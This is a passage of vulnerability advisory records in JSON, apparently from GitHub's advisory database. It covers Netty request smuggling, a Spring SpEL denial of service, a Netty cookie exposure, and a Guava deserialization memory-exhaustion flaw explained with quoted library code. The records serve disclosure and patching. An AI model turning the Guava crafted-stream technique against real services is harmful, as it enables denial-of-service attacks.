3.2.2", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-wv8q-qhhj-9h54/GHSA-wv8q-qhhj-9h54.json" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ] }, { "id": "GHSA-wx5j-54mm-rqqq", "summary": "HTTP request smuggling in netty", "details": "### Impact\n\nNetty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling.\n\nFailing to do the validation might cause netty to \"sanitize\" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself.\n\n", "aliases": [ "CVE-2021-43797" ], "modified": "2026-09-10T03:49:01.090670310Z", "published": "2021-12-09T19:09:17Z", "database_specific": { "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2021-12-09T18:17:28Z", "nvd_published_at": "2021-12-09T19:15:00Z", "cwe_ids": [ "CWE-444" ] }, "references": [ { "type": "WEB", "url": "https://github.com/netty/netty/security/advisories/GHSA-wx5j-54mm-rqqq" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43797" }, { "type": "WEB", "url": "https://github.com/netty/netty/pull/11891" }, { "type": "WEB", "url": "https://github.com/netty/netty/commit/07aa6b5938a8b6ed7a6586e066400e2643897323" }, { "type": "WEB", "url": "https://github.com/netty/netty" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00008.html" }, { "type": "WEB", "url": "https://security.netapp.com/advisory/ntap-20220107-0003" }, { "type": "WEB", "url": "https://www.debian.org/security/2023/dsa-5316" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpuapr2022.html" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpujul2022.html" } ], "affected": [ { "package": { "name": "io.netty:netty-codec-http", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty-codec-http" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "4.0.0" }, { "fixed": "4.1.71.Final" } ] } ], "versions": [ "4.0.0.Final", "4.0.1.Final", "4.0.10.Final", "4.0.11.Final", "4.0.12.Final", "4.0.13.Final", "4.0.14.Beta1", "4.0.14.Final", "4.0.15.Final", "4.0.16.Final", "4.0.17.Final", "4.0.18.Final", "4.0.19.Final", "4.0.2.Final", "4.0.20.Final", "4.0.21.Final", "4.0.22.Final", "4.0.23.Final", "4.0.24.Final", "4.0.25.Final", "4.0.26.Final", "4.0.27.Final", "4.0.28.Final", "4.0.29.Final", "4.0.3.Final", "4.0.30.Final", "4.0.31.Final", "4.0.32.Final", "4.0.33.Final", "4.0.34.Final", "4.0.35.Final", "4.0.36.Final", "4.0.37.Final", "4.0.38.Final", "4.0.39.Final", "4.0.4.Final", "4.0.40.Final", "4.0.41.Final", "4.0.42.Final", "4.0.43.Final", "4.0.44.Final", "4.0.45.Final", "4.0.46.Final", "4.0.47.Final", "4.0.48.Final", "4.0.49.Final", "4.0.5.Final", "4.0.50.Final", "4.0.51.Final", "4.0.52.Final", "4.0.53.Final", "4.0.54.Final", "4.0.55.Final", "4.0.56.Final", "4.0.6.Final", "4.0.7.Final", "4.0.8.Final", "4.0.9.Final", "4.1.0.Beta1", "4.1.0.Beta2", "4.1.0.Beta3", "4.1.0.Beta4", "4.1.0.Beta5", "4.1.0.Beta6", "4.1.0.Beta7", "4.1.0.Beta8", "4.1.0.CR1", "4.1.0.CR2", "4.1.0.CR3", "4.1.0.CR4", "4.1.0.CR5", "4.1.0.CR6", "4.1.0.CR7", "4.1.0.Final", "4.1.1.Final", "4.1.10.Final", "4.1.11.Final", "4.1.12.Final", "4.1.13.Final", "4.1.14.Final", "4.1.15.Final", "4.1.16.Final", "4.1.17.Final", "4.1.18.Final", "4.1.19.Final", "4.1.2.Final", "4.1.20.Final", "4.1.21.Final", "4.1.22.Final", "4.1.23.Final", "4.1.24.Final", "4.1.25.Final", "4.1.26.Final", "4.1.27.Final", "4.1.28.Final", "4.1.29.Final", "4.1.3.Final", "4.1.30.Final", "4.1.31.Final", "4.1.32.Final", "4.1.33.Final", "4.1.34.Final", "4.1.35.Final", "4.1.36.Final", "4.1.37.Final", "4.1.38.Final", "4.1.39.Final", "4.1.4.Final", "4.1.40.Final", "4.1.41.Final", "4.1.42.Final", "4.1.43.Final", "4.1.44.Final", "4.1.45.Final", "4.1.46.Final", "4.1.47.Final", "4.1.48.Final", "4.1.49.Final", "4.1.5.Final", "4.1.50.Final", "4.1.51.Final", "4.1.52.Final", "4.1.53.Final", "4.1.54.Final", "4.1.55.Final", "4.1.56.Final", "4.1.57.Final", "4.1.58.Final", "4.1.59.Final", "4.1.6.Final", "4.1.60.Final", "4.1.61.Final", "4.1.62.Final", "4.1.63.Final", "4.1.64.Final", "4.1.65.Final", "4.1.66.Final", "4.1.67.Final", "4.1.68.Final", "4.1.69.Final", "4.1.7.Final", "4.1.70.Final", "4.1.8.Final", "4.1.9.Final" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-wx5j-54mm-rqqq/GHSA-wx5j-54mm-rqqq.json" } }, { "package": { "name": "org.jboss.netty:netty", "ecosystem": "Maven", "purl": "pkg:maven/org.jboss.netty/netty" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" } ] } ], "versions": [ "3.0.0.CR1", "3.0.0.CR2", "3.0.0.CR3", "3.0.0.CR4", "3.0.0.CR5", "3.0.0.GA", "3.0.1.GA", "3.0.2.GA", "3.1.0.ALPHA1", "3.1.0.ALPHA2", "3.1.0.ALPHA3", "3.1.0.ALPHA4", "3.1.0.BETA1", "3.1.0.BETA2", "3.1.0.BETA3", "3.1.0.CR1", "3.1.0.GA", "3.1.1.GA", "3.1.2.GA", "3.1.3.GA", "3.1.4.GA", "3.1.5.GA", "3.2.0.ALPHA1", "3.2.0.ALPHA2", "3.2.0.ALPHA3", "3.2.0.ALPHA4", "3.2.0.BETA1", "3.2.0.CR1", "3.2.0.Final", "3.2.1.Final", "3.2.10.Final", "3.2.2.Final", "3.2.3.Final", "3.2.4.Final", "3.2.5.Final", "3.2.6.Final", "3.2.7.Final", "3.2.8.Final", "3.2.9.Final" ], "database_specific": { "last_known_affected_version_range": "< 4.0.0", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-wx5j-54mm-rqqq/GHSA-wx5j-54mm-rqqq.json" } }, { "package": { "name": "io.netty:netty", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" } ] } ], "versions": [ "3.10.0.Final", "3.10.1.Final", "3.10.2.Final", "3.10.3.Final", "3.10.4.Final", "3.10.5.Final", "3.10.6.Final", "3.3.0.Final", "3.3.1.Final", "3.4.0.Alpha1", "3.4.0.Alpha2", "3.4.0.Beta1", "3.4.0.Final", "3.4.1.Final", "3.4.2.Final", "3.4.3.Final", "3.4.4.Final", "3.4.5.Final", "3.4.6.Final", "3.5.0.Beta1", "3.5.0.Final", "3.5.1.Final", "3.5.10.Final", "3.5.11.Final", "3.5.12.Final", "3.5.13.Final", "3.5.2.Final", "3.5.3.Final", "3.5.4.Final", "3.5.5.Final", "3.5.6.Final", "3.5.7.Final", "3.5.8.Final", "3.5.9.Final", "3.6.0.Beta1", "3.6.0.Final", "3.6.1.Final", "3.6.10.Final", "3.6.2.Final", "3.6.3.Final", "3.6.4.Final", "3.6.5.Final", "3.6.6.Final", "3.6.7.Final", "3.6.8.Final", "3.6.9.Final", "3.7.0.Final", "3.7.1.Final", "3.8.0.Final", "3.8.1.Final", "3.8.2.Final", "3.8.3.Final", "3.9.0.Final", "3.9.1.1.Final", "3.9.1.Final", "3.9.2.Final", "3.9.3.Final", "3.9.4.Final", "3.9.5.Final", "3.9.6.Final", "3.9.7.Final", "3.9.8.Final", "3.9.9.Final", "4.0.0.Alpha1", "4.0.0.Alpha2", "4.0.0.Alpha3", "4.0.0.Alpha4", "4.0.0.Alpha5", "4.0.0.Alpha6", "4.0.0.Alpha7", "4.0.0.Alpha8" ], "database_specific": { "last_known_affected_version_range": "< 4.0.0", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-wx5j-54mm-rqqq/GHSA-wx5j-54mm-rqqq.json" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N" } ] }, { "id": "GHSA-wxpp-56q6-5pcg", "summary": "Spring Framework Denial of Service via Unbounded Cache in SpEL", "details": "Applications which accept user-supplied Spring Expression Language (SpEL) expressions may be vulnerable to a Denial of Service (DoS) attack if the evaluation of a SpEL expression triggers unbounded cache growth.\n\nAffected versions:\nSpring Framework 7.0.0 through 7.0.7; 6.2.0 through 6.2.18; 6.1.0 through 6.1.27; 5.3.0 through 5.3.48.", "aliases": [ "CVE-2026-41851" ], "modified": "2026-09-10T03:50:51.051005886Z", "published": "2026-06-09T06:31:58Z", "database_specific": { "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2026-07-30T16:38:19Z", "nvd_published_at": "2026-06-09T05:16:37Z", "cwe_ids": [ "CWE-770" ] }, "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41851" }, { "type": "WEB", "url": "https://github.com/spring-projects/spring-framework/commit/2c18c33ce0f89bf718c184190cfb7ed49b4276fb" }, { "type": "WEB", "url": "https://github.com/spring-projects/spring-framework/commit/76a36dfd707cddbe7118a81c2e055b36501d2cff" }, { "type": "PACKAGE", "url": "https://github.com/spring-projects/spring-framework" }, { "type": "WEB", "url": "https://github.com/spring-projects/spring-framework/releases/tag/v6.2.19" }, { "type": "WEB", "url": "https://github.com/spring-projects/spring-framework/releases/tag/v7.0.8" }, { "type": "WEB", "url": "https://spring.io/security/cve-2026-41851" } ], "affected": [ { "package": { "name": "org.springframework:spring-expression", "ecosystem": "Maven", "purl": "pkg:maven/org.springframework/spring-expression" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "7.0.0" }, { "fixed": "7.0.8" } ] } ], "versions": [ "7.0.0", "7.0.1", "7.0.2", "7.0.3", "7.0.4", "7.0.5", "7.0.6", "7.0.7" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-wxpp-56q6-5pcg/GHSA-wxpp-56q6-5pcg.json", "last_known_affected_version_range": "<= 7.0.7" } }, { "package": { "name": "org.springframework:spring-expression", "ecosystem": "Maven", "purl": "pkg:maven/org.springframework/spring-expression" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "6.2.0" }, { "fixed": "6.2.19" } ] } ], "versions": [ "6.2.0", "6.2.1", "6.2.10", "6.2.11", "6.2.12", "6.2.13", "6.2.14", "6.2.15", "6.2.16", "6.2.17", "6.2.18", "6.2.2", "6.2.3", "6.2.4", "6.2.5", "6.2.6", "6.2.7", "6.2.8", "6.2.9" ], "database_specific": { "last_known_affected_version_range": "<= 6.2.18", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-wxpp-56q6-5pcg/GHSA-wxpp-56q6-5pcg.json" } }, { "package": { "name": "org.springframework:spring-expression", "ecosystem": "Maven", "purl": "pkg:maven/org.springframework/spring-expression" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "6.1.0" }, { "last_affected": "6.1.21" } ] } ], "versions": [ "6.1.0", "6.1.1", "6.1.10", "6.1.11", "6.1.12", "6.1.13", "6.1.14", "6.1.15", "6.1.16", "6.1.17", "6.1.18", "6.1.19", "6.1.2", "6.1.20", "6.1.21", "6.1.3", "6.1.4", "6.1.5", "6.1.6", "6.1.7", "6.1.8", "6.1.9" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-wxpp-56q6-5pcg/GHSA-wxpp-56q6-5pcg.json" } }, { "package": { "name": "org.springframework:spring-expression", "ecosystem": "Maven", "purl": "pkg:maven/org.springframework/spring-expression" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "last_affected": "5.3.39" } ] } ], "versions": [ "3.0.0.RELEASE", "3.0.1.RELEASE", "3.0.2.RELEASE", "3.0.3.RELEASE", "3.0.4.RELEASE", "3.0.5.RELEASE", "3.0.6.RELEASE", "3.0.7.RELEASE", "3.1.0.RELEASE", "3.1.1.RELEASE", "3.1.2.RELEASE", "3.1.3.RELEASE", "3.1.4.RELEASE", "3.2.0.RELEASE", "3.2.1.RELEASE", "3.2.10.RELEASE", "3.2.11.RELEASE", "3.2.12.RELEASE", "3.2.13.RELEASE", "3.2.14.RELEASE", "3.2.15.RELEASE", "3.2.16.RELEASE", "3.2.17.RELEASE", "3.2.18.RELEASE", "3.2.2.RELEASE", "3.2.3.RELEASE", "3.2.4.RELEASE", "3.2.5.RELEASE", "3.2.6.RELEASE", "3.2.7.RELEASE", "3.2.8.RELEASE", "3.2.9.RELEASE", "4.0.0.RELEASE", "4.0.1.RELEASE", "4.0.2.RELEASE", "4.0.3.RELEASE", "4.0.4.RELEASE", "4.0.5.RELEASE", "4.0.6.RELEASE", "4.0.7.RELEASE", "4.0.8.RELEASE", "4.0.9.RELEASE", "4.1.0.RELEASE", "4.1.1.RELEASE", "4.1.2.RELEASE", "4.1.3.RELEASE", "4.1.4.RELEASE", "4.1.5.RELEASE", "4.1.6.RELEASE", "4.1.7.RELEASE", "4.1.8.RELEASE", "4.1.9.RELEASE", "4.2.0.RELEASE", "4.2.1.RELEASE", "4.2.2.RELEASE", "4.2.3.RELEASE", "4.2.4.RELEASE", "4.2.5.RELEASE", "4.2.6.RELEASE", "4.2.7.RELEASE", "4.2.8.RELEASE", "4.2.9.RELEASE", "4.3.0.RELEASE", "4.3.1.RELEASE", "4.3.10.RELEASE", "4.3.11.RELEASE", "4.3.12.RELEASE", "4.3.13.RELEASE", "4.3.14.RELEASE", "4.3.15.RELEASE", "4.3.16.RELEASE", "4.3.17.RELEASE", "4.3.18.RELEASE", "4.3.19.RELEASE", "4.3.2.RELEASE", "4.3.20.RELEASE", "4.3.21.RELEASE", "4.3.22.RELEASE", "4.3.23.RELEASE", "4.3.24.RELEASE", "4.3.25.RELEASE", "4.3.26.RELEASE", "4.3.27.RELEASE", "4.3.28.RELEASE", "4.3.29.RELEASE", "4.3.3.RELEASE", "4.3.30.RELEASE", "4.3.4.RELEASE", "4.3.5.RELEASE", "4.3.6.RELEASE", "4.3.7.RELEASE", "4.3.8.RELEASE", "4.3.9.RELEASE", "5.0.0.RELEASE", "5.0.1.RELEASE", "5.0.10.RELEASE", "5.0.11.RELEASE", "5.0.12.RELEASE", "5.0.13.RELEASE", "5.0.14.RELEASE", "5.0.15.RELEASE", "5.0.16.RELEASE", "5.0.17.RELEASE", "5.0.18.RELEASE", "5.0.19.RELEASE", "5.0.2.RELEASE", "5.0.20.RELEASE", "5.0.3.RELEASE", "5.0.4.RELEASE", "5.0.5.RELEASE", "5.0.6.RELEASE", "5.0.7.RELEASE", "5.0.8.RELEASE", "5.0.9.RELEASE", "5.1.0.RELEASE", "5.1.1.RELEASE", "5.1.10.RELEASE", "5.1.11.RELEASE", "5.1.12.RELEASE", "5.1.13.RELEASE", "5.1.14.RELEASE", "5.1.15.RELEASE", "5.1.16.RELEASE", "5.1.17.RELEASE", "5.1.18.RELEASE", "5.1.19.RELEASE", "5.1.2.RELEASE", "5.1.20.RELEASE", "5.1.3.RELEASE", "5.1.4.RELEASE", "5.1.5.RELEASE", "5.1.6.RELEASE", "5.1.7.RELEASE", "5.1.8.RELEASE", "5.1.9.RELEASE", "5.2.0.RELEASE", "5.2.1.RELEASE", "5.2.10.RELEASE", "5.2.11.RELEASE", "5.2.12.RELEASE", "5.2.13.RELEASE", "5.2.14.RELEASE", "5.2.15.RELEASE", "5.2.16.RELEASE", "5.2.17.RELEASE", "5.2.18.RELEASE", "5.2.19.RELEASE", "5.2.2.RELEASE", "5.2.20.RELEASE", "5.2.21.RELEASE", "5.2.22.RELEASE", "5.2.23.RELEASE", "5.2.24.RELEASE", "5.2.25.RELEASE", "5.2.3.RELEASE", "5.2.4.RELEASE", "5.2.5.RELEASE", "5.2.6.RELEASE", "5.2.7.RELEASE", "5.2.8.RELEASE", "5.2.9.RELEASE", "5.3.0", "5.3.1", "5.3.10", "5.3.11", "5.3.12", "5.3.13", "5.3.14", "5.3.15", "5.3.16", "5.3.17", "5.3.18", "5.3.19", "5.3.2", "5.3.20", "5.3.21", "5.3.22", "5.3.23", "5.3.24", "5.3.25", "5.3.26", "5.3.27", "5.3.28", "5.3.29", "5.3.3", "5.3.30", "5.3.31", "5.3.32", "5.3.33", "5.3.34", "5.3.35", "5.3.36", "5.3.37", "5.3.38", "5.3.39", "5.3.4", "5.3.5", "5.3.6", "5.3.7", "5.3.8", "5.3.9" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-wxpp-56q6-5pcg/GHSA-wxpp-56q6-5pcg.json" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ] }, { "id": "GHSA-xfv3-rrfm-f2rv", "summary": "Information Exposure in Netty", "details": "Netty before 3.9.8.Final, 3.10.x before 3.10.3.Final, 4.0.x before 4.0.28.Final, and 4.1.x before 4.1.0.Beta5 and Play Framework 2.x before 2.3.9 might allow remote attackers to bypass the httpOnly flag on cookies and obtain sensitive information by leveraging improper validation of cookie name and value characters.", "aliases": [ "CVE-2015-2156" ], "modified": "2026-09-10T03:48:50.984056747Z", "published": "2020-06-30T21:01:21Z", "database_specific": { "github_reviewed": true, "github_reviewed_at": "2020-06-30T20:59:55Z", "nvd_published_at": null, "cwe_ids": [ "CWE-20" ], "severity": "HIGH" }, "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-2156" }, { "type": "WEB", "url": "https://github.com/netty/netty/pull/3748/commits/4ac519f534493bb0ca7a77e1c779138a54faa7b9" }, { "type": "WEB", "url": "https://github.com/netty/netty/pull/3754" }, { "type": "WEB", "url": "https://github.com/netty/netty/commit/2caa38a2795fe1f1ae6ceda4d69e826ed7c55e55" }, { "type": "WEB", "url": "https://github.com/netty/netty/commit/31815598a2af37f0b71ea94eada70d6659c23752" }, { "type": "WEB", "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1222923" }, { "type": "PACKAGE", "url": "https://github.com/netty/netty" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/9317fd092b257a0815434b116a8af8daea6e920b6673f4fd5583d5fe@%3Ccommits.druid.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/a19bb1003b0d6cd22475ba83c019b4fc7facfef2a9e13f71132529d3@%3Ccommits.cassandra.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/dc1275aef115bda172851a231c76c0932d973f9ffd8bc375c4aba769@%3Ccommits.cassandra.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/ff8dcfe29377088ab655fda9d585dccd5b1f07fabd94ae84fd60a7f8@%3Ccommits.pulsar.apache.org%3E" }, { "type": "WEB", "url": "https://snyk.io/vuln/SNYK-JAVA-IONETTY-73571" }, { "type": "WEB", "url": "https://www.playframework.com/security/vulnerability/CVE-2015-2156-HttpOnlyBypass" }, { "type": "WEB", "url": "http://lists.fedoraproject.org/pipermail/package-announce/2015-June/159379.html" }, { "type": "WEB", "url": "http://lists.fedoraproject.org/pipermail/package-announce/2015-May/159166.html" }, { "type": "WEB", "url": "http://netty.io/news/2015/05/08/3-9-8-Final-and-3.html" }, { "type": "WEB", "url": "http://www.openwall.com/lists/oss-security/2015/05/17/1" }, { "type": "WEB", "url": "http://www.securityfocus.com/bid/74704" } ], "affected": [ { "package": { "name": "io.netty:netty-parent", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty-parent" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "4.0.0" }, { "fixed": "4.0.28.Final" } ] } ], "versions": [ "4.0.0.Final", "4.0.1.Final", "4.0.10.Final", "4.0.11.Final", "4.0.12.Final", "4.0.13.Final", "4.0.14.Beta1", "4.0.14.Final", "4.0.15.Final", "4.0.16.Final", "4.0.17.Final", "4.0.18.Final", "4.0.19.Final", "4.0.2.Final", "4.0.20.Final", "4.0.21.Final", "4.0.22.Final", "4.0.23.Final", "4.0.24.Final", "4.0.25.Final", "4.0.26.Final", "4.0.27.Final", "4.0.3.Final", "4.0.4.Final", "4.0.5.Final", "4.0.6.Final", "4.0.7.Final", "4.0.8.Final", "4.0.9.Final" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/06/GHSA-xfv3-rrfm-f2rv/GHSA-xfv3-rrfm-f2rv.json" } }, { "package": { "name": "org.jboss.netty:netty", "ecosystem": "Maven", "purl": "pkg:maven/org.jboss.netty/netty" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "fixed": "3.9.8.Final" } ] } ], "versions": [ "3.0.0.CR1", "3.0.0.CR2", "3.0.0.CR3", "3.0.0.CR4", "3.0.0.CR5", "3.0.0.GA", "3.0.1.GA", "3.0.2.GA", "3.1.0.ALPHA1", "3.1.0.ALPHA2", "3.1.0.ALPHA3", "3.1.0.ALPHA4", "3.1.0.BETA1", "3.1.0.BETA2", "3.1.0.BETA3", "3.1.0.CR1", "3.1.0.GA", "3.1.1.GA", "3.1.2.GA", "3.1.3.GA", "3.1.4.GA", "3.1.5.GA", "3.2.0.ALPHA1", "3.2.0.ALPHA2", "3.2.0.ALPHA3", "3.2.0.ALPHA4", "3.2.0.BETA1", "3.2.0.CR1", "3.2.0.Final", "3.2.1.Final", "3.2.10.Final", "3.2.2.Final", "3.2.3.Final", "3.2.4.Final", "3.2.5.Final", "3.2.6.Final", "3.2.7.Final", "3.2.8.Final", "3.2.9.Final" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/06/GHSA-xfv3-rrfm-f2rv/GHSA-xfv3-rrfm-f2rv.json" } }, { "package": { "name": "org.jboss.netty:netty", "ecosystem": "Maven", "purl": "pkg:maven/org.jboss.netty/netty" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "3.10.0" }, { "fixed": "3.10.3.Final" } ] } ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/06/GHSA-xfv3-rrfm-f2rv/GHSA-xfv3-rrfm-f2rv.json" } }, { "package": { "name": "io.netty:netty", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "3.10.0" }, { "fixed": "3.10.3.Final" } ] } ], "versions": [ "3.10.0.Final", "3.10.1.Final", "3.10.2.Final" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/06/GHSA-xfv3-rrfm-f2rv/GHSA-xfv3-rrfm-f2rv.json" } }, { "package": { "name": "io.netty:netty", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "fixed": "3.9.8.Final" } ] } ], "versions": [ "3.3.0.Final", "3.3.1.Final", "3.4.0.Alpha1", "3.4.0.Alpha2", "3.4.0.Beta1", "3.4.0.Final", "3.4.1.Final", "3.4.2.Final", "3.4.3.Final", "3.4.4.Final", "3.4.5.Final", "3.4.6.Final", "3.5.0.Beta1", "3.5.0.Final", "3.5.1.Final", "3.5.10.Final", "3.5.11.Final", "3.5.12.Final", "3.5.13.Final", "3.5.2.Final", "3.5.3.Final", "3.5.4.Final", "3.5.5.Final", "3.5.6.Final", "3.5.7.Final", "3.5.8.Final", "3.5.9.Final", "3.6.0.Beta1", "3.6.0.Final", "3.6.1.Final", "3.6.10.Final", "3.6.2.Final", "3.6.3.Final", "3.6.4.Final", "3.6.5.Final", "3.6.6.Final", "3.6.7.Final", "3.6.8.Final", "3.6.9.Final", "3.7.0.Final", "3.7.1.Final", "3.8.0.Final", "3.8.1.Final", "3.8.2.Final", "3.8.3.Final", "3.9.0.Final", "3.9.1.1.Final", "3.9.1.Final", "3.9.2.Final", "3.9.3.Final", "3.9.4.Final", "3.9.5.Final", "3.9.6.Final", "3.9.7.Final" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/06/GHSA-xfv3-rrfm-f2rv/GHSA-xfv3-rrfm-f2rv.json" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" } ] }, { "id": "GHSA-xxph-c9ww-hj94", "summary": "Google Guava: CompactHashMap/CompactHashSet/MapMakerInternalMap deserialization triggers uncontrolled memory allocation", "details": "# CompactHashMap/CompactHashSet/MapMakerInternalMap native deserialization triggers uncontrolled memory allocation\n\n## Summary\n\n`CompactHashMap`, `CompactHashSet`, and `MapMakerInternalMap` implement `readObject(ObjectInputStream)` by reading an attacker-controlled `elementCount` or `initialCapacity` from the stream. On the very first insertion during or after deserialization (for the `CompactHash*` collections, inside `allocArrays()`) or immediately during deserialization (for `MapMakerInternalMap`), the implementation eagerly allocates arrays sized to that full, unvalidated value (up to `CompactHashing.MAX_SIZE` = 2^30-1, ~1.07 billion, for example) before the rest of the stream's actual content has been consumed. A 72-byte malicious serialized stream containing a single tiny element can force a multi-gigabyte allocation and crash a JVM with `OutOfMemoryError`, dynamically confirmed against the current release.\n\n## Details\n\n`CompactHashMap.readObject()` (`guava/src/com/google/common/collect/CompactHashMap.java`):\n\n```java\nprivate void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException {\n stream.defaultReadObject();\n int elementCount = stream.readInt();\n if (elementCount < 0) {\n throw new InvalidObjectException(\"Invalid size: \" + elementCount);\n }\n init(elementCount);\n for (int i = 0; i < elementCount; i++) {\n K key = (K) stream.readObject();\n V value = (V) stream.readObject();\n put(key, value);\n }\n}\n```\n\n`elementCount` is only checked for being non-negative; there is no upper bound and no relationship enforced between the declared count and how much data actually follows in the stream. `init(elementCount)` (line 251) just stores the value (clamped to `[1, CompactHashing.MAX_SIZE]`, i.e. up to 2^30-1):\n\n```java\nvoid init(int expectedSize) {\n Preconditions.checkArgument(expectedSize >= 0, \"Expected size must be >= 0\");\n this.metadata = Ints.constrainToRange(expectedSize, 1, CompactHashing.MAX_SIZE);\n}\n```\n\nThe real allocation is deferred to `allocArrays()`, which fires lazily on the *first* `put()` call — i.e. after only one key/value pair has actually been read off the wire:\n\n```java\nint allocArrays() {\n ...\n int expectedSize = metadata;\n int buckets = CompactHashing.tableSize(expectedSize);\n this.table = CompactHashing.createTable(buckets);\n setHashTableMask(buckets - 1);\n this.entries = new int[expectedSize];\n this.keys = new Object[expectedSize];\n this.values = new Object[expectedSize];\n return expectedSize;\n}\n```\n\nWith `expectedSize` near `CompactHashing.MAX_SIZE` (2^30-1), this single call allocates a hash `table` plus three `expectedSize`-length arrays — multiple gigabytes — triggered by a stream that has, at that point, only supplied one small real element. `CompactHashSet.readObject()`/`allocArrays()` have the identical shape. `CompactLinkedHashMap`/`CompactLinkedHashSet` extend these classes and inherit the same unguarded path.\n\nThe problem with `MapMakerInternalMap` is similar, with [a size read from the serialized data and stored in a `MapMaker` instance](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L2848-L2851) for [later user during deserialization](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L2897), when [the `MapMaker` is passed back to `MapMakerInternalMap`](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMaker.java#L287) and [segments are allocated](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L173-L200) by [calling `newSegment`](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L1143), whose implementations ([example](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L443)) create `Segment` instances ([example](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L2019)) that [allocate arrays of the requested capacity](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L1234) through [the `newTable`](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L1262) helper.\n\nThis is the same amplification shape as the already-fixed **CVE-2018-10237** (`AtomicDoubleArray`/`CompoundOrdering`: attacker declares a large size, library eagerly allocates before validating against actual stream content). That fix rewrote `AtomicDoubleArray.readObject()` to grow an `ImmutableLongArray.Builder` incrementally per element actually read, rather than pre-allocating from the declared size — Guava's own `HashBiMap.readObject()` documents the same defensive principle explicitly in a comment: `init(16); // resist hostile attempts to allocate gratuitous heap`. `CompactHashMap`/`CompactHashSet` do not follow either of these two patterns already present elsewhere in the same codebase.\n\n**Reachability**: 